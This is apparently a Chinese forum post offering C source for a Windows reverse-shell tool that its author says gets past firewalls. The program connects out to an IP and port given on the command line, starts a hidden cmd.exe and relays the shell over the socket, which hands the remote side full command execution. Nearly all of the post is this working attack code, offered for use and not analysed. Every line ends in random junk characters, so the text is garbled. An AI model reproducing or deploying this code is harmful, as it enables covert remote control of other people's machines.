这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q'LU?>N)/
#jR?C9&!(
/* ============================== O$ \N]#
Rebound port in Windows NT L(YT6Vmm+t
By wind,2006/7 32J
===============================*/ r8E!-r}rno
#include LDNUywj@w
#include &$
9bC't6
n6dg
#pragma comment(lib,"wsock32.lib") \Bf{/r5x
|LhuZ_;1xo
void OutputShell(); V6o,}o&-
SOCKET sClient; R'_[RHFC
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }zLE*b,
z}|'&O*.F
void main(int argc,char **argv) }:Akpm
{ }?$Mh)
WSADATA stWsaData; A-5%_M3\G
int nRet;
#wcoLCjs)
SOCKADDR_IN stSaiClient,stSaiServer; {K}+$jzGVt
Yi,um-%
if(argc != 3) X13bi}O6#
{ ]z$<6+G
printf("Useage:\n\rRebound DestIP DestPort\n"); +d.Bf
return; r4'Pf|`u
} T~d';P
' 1IH^<b
WSAStartup(MAKEWORD(2,2),&stWsaData); Iu]P^8
HkCme_y"
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e&kg[jU
gnec#j
stSaiClient.sin_family = AF_INET; qyC"}y-
stSaiClient.sin_port = htons(0); T!AQJ:;1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A#{*A
o!N@W
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MsiSC
{ n%hnL$!z
printf("Bind Socket Failed!\n"); vOU-bF%u
return;
ekXHfA!i%
} l K%Hb=
a$-ax[:\sm
stSaiServer.sin_family = AF_INET; _t7A'`Dh]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); g.qp _O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hHQt4 r'd
#=c%:{O{4R
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \qPrY.-
{ \(s";@
printf("Connect Error!"); 0Oq1ay^
return; mNzZ/*n:
} e78}
OutputShell(); 6I<`N
} ^ +G> N
ud1E@4;qf
void OutputShell() T/nRc_I+^B
{ 6{ Eh={:b
char szBuff[1024]; 1U!CD-%(
SECURITY_ATTRIBUTES stSecurityAttributes; 5,3h'\ "!
OSVERSIONINFO stOsversionInfo; h&P[9:LH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N~_gT
Jr~P
STARTUPINFO stStartupInfo; mv_-|N~
char *szShell; 4i \n1RW
PROCESS_INFORMATION stProcessInformation; j
jQ=
unsigned long lBytesRead; S45jY=)z
]](hwj
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]H*=Z:riu
)ALcmC?!#
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z'o+3zq^
stSecurityAttributes.lpSecurityDescriptor = 0; O@VmV>m
stSecurityAttributes.bInheritHandle = TRUE; Ki2_Nh>tM
j
yE+?4w;
]v@,>!Wn
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CEiGjo^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H}/1/5L
[?A0{#5)8x
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #N:o)I
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =6hf'lP
stStartupInfo.wShowWindow = SW_HIDE; /$KW$NH4z
stStartupInfo.hStdInput = hReadPipe; pbNVj~#6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2P*O^-zRp
}#1g;
GetVersionEx(&stOsversionInfo); i@6 kIC
uQ}kq7gd
switch(stOsversionInfo.dwPlatformId) !{+(oDN
{ &^"m6
case 1: Y\\&~g42R2
szShell = "command.com"; k 'o?/
break; `Bx CTwc
default: 4R.#=]F
szShell = "cmd.exe"; )!Bv8&;e
break; 2zAS
\Y
} lEJTd3dMi
!
d(,t[cV
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3z#16*
KR63W:Z\'
send(sClient,szMsg,77,0); fjf\/%
while(1) *e=e7KC6kI
{ 3i<*,@CY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *Zln\Sx
if(lBytesRead) H"sey +-
{ 6b0#z#E
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #gP\q?5Ov
send(sClient,szBuff,lBytesRead,0); K(hf)1q
} U -(d~]$
else =619+[fK
{ 8V@3T/}
lBytesRead=recv(sClient,szBuff,1024,0); @YRBZ6FH
if(lBytesRead<=0) break; Yd9y8TqJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Gh.02
} LY7'wONx
} (_D#gr{S=
|1EM )zh6
return; 4r %NtXAa
}